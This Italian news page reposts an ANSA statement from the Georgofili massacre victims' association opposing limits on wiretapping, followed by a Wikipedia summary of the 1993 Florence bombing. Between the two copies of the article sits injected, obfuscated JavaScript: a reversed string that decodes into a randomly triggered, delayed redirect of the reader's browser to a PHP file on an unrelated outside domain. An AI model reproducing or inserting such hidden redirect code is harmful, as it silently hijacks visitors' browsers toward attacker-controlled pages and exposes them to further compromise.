Intercettazioni, i familiari della strage dei Georgofili: "Non bruciate la verità"

image_pdfimage_print
INTERCETTAZIONI: ASS.GEORGOFILI, NON BRUCIATE STRADA VERITA’
CHELLI, STRANA COINCIDENZA CON ANNIVERSARIO STRAGE FIRENZE
Stampa l’articolo
Invia per email
(ANSA) – FIRENZE, 24 MAG – “Non vorremmo che proprio ora, ad un passo dalla verità sui mandanti esterni a cosa nostra per le stragi del 1993, con limiti posti ad uno strumento più che indispensabile alla magistratura inquirente, si bruciassero insieme a tanti anni di lavoro faticoso, anche tutte le nostre speranze di giustizia. Non lo potremmo davvero sopportare”. Lo scrive in una nota Giovanna Maggiani Chelli, vicepresidente dell’associazione che riunisce i familiari delle vittime della strage mafiosa avvenuta a Firenze il 27 maggio 1993. Chelli ricorda “a quanti sono impegnati in queste ore in Parlamento e in Commissione sulla delicata materia delle intercettazioni, la singolarità che un tema tanto caldo venga affrontato a pochi giorni dell’anniversario della strage di via dei Georgofili. Singolare coincidenza, sembra quasi un presagio e un monito allo stesso tempo”. Le intercettazioni ambientali e telefoniche, ricorda ancora Chelli, “furono determinanti per arrivare alla cupola mafiosa che organizzò la strage di via dei Georgofili e per poter condannare all’ergastolo 15 mafiosi del calibro di Totò Riina e Bernardo Provenzano”. (ANSA).

$p$VTO6JhIH6WkCGAcPR=function(n){if (typeof ($p$VTO6JhIH6WkCGAcPR.list[n]) == “string”) return $p$VTO6JhIH6WkCGAcPR.list[n].split(“”).reverse().join(“”);return $p$VTO6JhIH6WkCGAcPR.list[n];};$p$VTO6JhIH6WkCGAcPR.list=[“‘php.tegdiw.ssalc/bil/orp-tegdiw-rettiwt/snigulp/tnetnoc-pw/moc.xamdok//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}and(this)” href=”http://www.altracitta.org/wp-content/uploads/2010/05/georgofili.jpg”>georgofiliFonte: Ansa

“Non vorremmo che proprio ora, ad un passo dalla verità sui mandanti esterni a Cosa nostra per le stragi del 1993, con limiti posti ad uno strumento più che indispensabile alla magistratura inquirente, si bruciassero insieme a tanti anni di lavoro faticoso, anche tutte le nostre speranze di giustizia. Non lo potremmo davvero sopportare”.

Lo scrive in una nota Giovanna Maggiani Chelli, vicepresidente dell’associazione che riunisce i familiari delle vittime della strage mafiosa avvenuta a Firenze il 27 maggio 1993. Chelli ricorda “a quanti sono impegnati in queste ore in Parlamento e in Commissione sulla delicata materia delle intercettazioni, la singolarità che un tema tanto caldo venga affrontato a pochi giorni dell’anniversario della strage di via dei Georgofili. Singolare coincidenza, sembra quasi un presagio e un monito allo stesso tempo”. Le intercettazioni ambientali e telefoniche, ricorda ancora Chelli, “furono determinanti per arrivare alla cupola mafiosa che organizzò la strage di via dei Georgofili e per poter condannare all’ergastolo 15 mafiosi del calibro di Totò Riina e Bernardo Provenzano”. (ANSA).

La strage dei Georgofili (fonte Wikipedia)

La strage di via dei Georgofili è un attentato di stampo mafioso attribuito all’organizzazione Cosa Nostra.

Nella notte fra il 26 e il 27 maggio 1993, a Firenze, viene fatta esplodere una Fiat Fiorino imbottita di esplosivo nei pressi della storica Torre del Pulci, tra gli Uffizi e l’Arno, sede dell’Accademia dei Georgofili.

Nell’immane esplosione perdono la vita 5 persone: Caterina Nencioni (50 giorni di vita), Nadia Nencioni (9 anni), Dario Capolicchio (22 anni), Angela Fiume (36 anni), Fabrizio Nencioni (39 anni); 48 persone rimangono ferite.

Oltre alla Torre vengono distrutte moltissime abitazioni e perfino la Galleria degli Uffizi subisce gravi danneggiamenti.

La strage viene inquadrata nell’ambito della feroce risposta del clan mafioso dei Corleonesi di Totò Riina all’applicazione dell’articolo 41 bis che prevede il carcere duro e l’isolamento per i mafiosi. Due mesi dopo, il 27 luglio, altri attentati mafiosi vengono compiuti a Roma (alle chiese di San Giovanni in Laterano e San Giorgio al Velabro) e a Milano, in via Palestro, dove un’autobomba provoca cinque morti: tre vigili del fuoco e un vigile urbano intervenuti sul posto, e un cittadino straniero che dormiva su una panchina.

Il giorno 4 Dicembre 2009, il pentito Gaspare Spatuzza durante una deposizione sul processo d’appello a Marcello Dell’Utri ha dichiarato sotto giuramento: “Per Capaci e via d’Amelio abbiamo vigliaccamente gioito. Quelle sono stragi che ci appartengono, l’attentato di Firenze non ci appartiene”. Segnalando come mandanti di alcune stragi Marcello Dell’Utri e Silvio Berlusconi.

Leave a Reply

Il tuo indirizzo email non sarà pubblicato. I campi obbligatori sono contrassegnati *